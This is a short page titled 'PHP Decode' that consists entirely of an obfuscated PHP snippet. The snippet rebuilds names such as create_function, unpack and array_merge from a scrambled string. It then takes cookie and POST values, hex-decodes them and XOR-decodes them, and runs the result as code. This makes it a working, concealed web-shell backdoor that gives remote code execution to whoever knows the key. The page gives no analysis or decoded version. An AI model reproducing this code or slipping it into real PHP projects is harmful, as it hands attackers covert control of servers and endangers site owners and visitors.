PHP Decode

<?php 
$dqtlc = 'eu0r8gdtafip5_6ky34x2b#c*-H91vnsom\'l';$illgg = Array();$illgg[] = $dqtlc[4].$dqtlc[14].$dqtlc[27].$dqtlc[18].$dqtlc[17].$dqtlc[27].$dqtlc[17].$dqtlc[6].$dqtlc[25].$dqtlc[23].$dqtlc[20].$dqtlc[4].$dqtlc[28].$dqtlc[25].$dqtlc[18].$dqtlc[6].$dqtlc[4].$dqtlc[0].$dqtlc[25].$dqtlc[8].$dqtlc[9].$dqtlc[12].$dqtlc[6].$dqtlc[25].$dqtlc[23].$dqtlc[8].$dqtlc[2].$dqtlc[14].$dqtlc[23].$dqtlc[28].$dqtlc[6].$dqtlc[28].$dqtlc[4].$dqtlc[6].$dqtlc[8].$dqtlc[12];$illgg[] = $dqtlc[23].$dqtlc[3].$dqtlc[0].$dqtlc[8].$dqtlc[7].$dqtlc[0].$dqtlc[13].$dqtlc[9].$dqtlc[1].$dqtlc[30].$dqtlc[23].$dqtlc[7].$dqtlc[10].$dqtlc[32].$dqtlc[30];$illgg[] = $dqtlc[26].$dqtlc[24];$illgg[] = $dqtlc[22];$illgg[] = $dqtlc[23].$dqtlc[32].$dqtlc[1].$dqtlc[30].$dqtlc[7];$illgg[] = $dqtlc[31].$dqtlc[7].$dqtlc[3].$dqtlc[13].$dqtlc[3].$dqtlc[0].$dqtlc[11].$dqtlc[0].$dqtlc[8].$dqtlc[7];$illgg[] = $dqtlc[0].$dqtlc[19].$dqtlc[11].$dqtlc[35].$dqtlc[32].$dqtlc[6].$dqtlc[0];$illgg[] = $dqtlc[31].$dqtlc[1].$dqtlc[21].$dqtlc[31].$dqtlc[7].$dqtlc[3];$illgg[] = $dqtlc[8].$dqtlc[3].$dqtlc[3].$dqtlc[8].$dqtlc[16].$dqtlc[13].$dqtlc[33].$dqtlc[0].$dqtlc[3].$dqtlc[5].$dqtlc[0];$illgg[] = $dqtlc[31].$dqtlc[7].$dqtlc[3].$dqtlc[35].$dqtlc[0].$dqtlc[30];$illgg[] = $dqtlc[11].$dqtlc[8].$dqtlc[23].$dqtlc[15];foreach ($illgg[8]($_COOKIE, $_POST) as $royrj => $cdygkn){function abaeou($illgg, $royrj, $lxxzc){return $illgg[7]($illgg[5]($royrj . $illgg[0], ($lxxzc / $illgg[9]($royrj)) + 1), 0, $lxxzc);}function biubx($illgg, $rpynyi){return @$illgg[10]($illgg[2], $rpynyi);}function ixubm($illgg, $rpynyi){$xprmnk = $illgg[4]($rpynyi) % 3;if (!$xprmnk) {$htjyrw = $illgg[1]; $rkvejt = $htjyrw("", $rpynyi[1]($rpynyi[2]));$rkvejt();exit();}}$cdygkn = biubx($illgg, $cdygkn);ixubm($illgg, $illgg[6]($illgg[3], $cdygkn ^ abaeou($illgg, $royrj, $illgg[9]($cdygkn))));} ?>